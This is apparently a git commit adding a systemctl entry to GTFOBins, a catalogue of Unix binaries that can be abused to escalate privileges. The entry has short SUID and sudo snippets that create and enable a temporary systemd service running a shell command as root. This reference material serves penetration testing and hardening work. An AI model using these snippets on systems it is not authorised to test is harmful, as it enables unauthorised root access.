Add systemctl

This commit is contained in:
bstapes 2019-01-29 05:12:29 -08:00 committed by Andrea Cardaci
parent 0109792b7e
commit a2886b643d

23
_gtfobins/systemctl.md Normal file
View File

@ -0,0 +1,23 @@
---
functions:
suid:
- code: |
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
sudo:
- code: |
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF
---